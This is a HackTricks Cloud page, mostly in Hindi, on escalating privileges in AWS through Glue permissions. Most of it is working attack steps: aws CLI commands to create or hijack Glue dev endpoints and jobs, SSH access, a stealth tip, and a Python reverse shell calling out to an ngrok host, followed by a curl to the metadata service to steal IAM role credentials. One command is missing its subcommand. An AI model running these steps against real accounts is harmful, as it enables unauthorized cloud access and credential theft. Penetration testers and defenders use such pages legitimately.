AWS - Glue Privesc
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
glue
iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
इन permissions वाले उपयोगकर्ता एक नया AWS Glue development endpoint सेट अप कर सकते हैं, और एक existing service role (जो Glue द्वारा assume की जा सकती है) इस endpoint को असाइन कर सकते हैं जिसमें specific permissions हों।
Setup के बाद, हमलावर endpoint के instance में SSH कर सकता है, और assigned role के IAM credentials चुरा सकता है:
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine.
Potential Impact: निर्दिष्ट glue service role पर Privesc।
glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
इस अनुमति वाले उपयोगकर्ता एक मौजूदा Glue development endpoint की SSH key को बदल सकते हैं, इसके लिए SSH access सक्षम करके। इससे हमलावर endpoint से जुड़े role के privileges के साथ कमांड चला सकता है:
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
संभावित प्रभाव: Privesc to the glue service role used.
iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)
ऐसे उपयोगकर्ता जिनके पास iam:PassRole है और साथ में glue:CreateJob या glue:UpdateJob में से कोई एक, और साथ में glue:StartJobRun या glue:CreateTrigger में से कोई एक अनुमति है, वे किसी भी Glue service account को जोड़कर AWS Glue job बना या अपडेट कर सकते हैं, और उस job को प्रारंभ कर सकते हैं। उस job में मनमाना Python कोड चलाने की क्षमता होती है, जिसका दुरुपयोग करके reverse shell स्थापित किया जा सकता है। यह reverse shell फिर Glue job से जुड़ी role के IAM credentials को exfiltrate करने के लिए उपयोग किया जा सकता है, जो उस role की permissions के आधार पर संभावित अनधिकृत पहुँच या क्रियाओं का कारण बन सकता है:
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
संभावित प्रभाव: निर्दिष्ट glue service role पर Privesc।
glue:UpdateJob
सिर्फ update permission होने पर एक attacker पहले से attached role के IAM Credentials चुरा सकता है।
संभावित प्रभाव: attached glue service role पर Privesc।
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud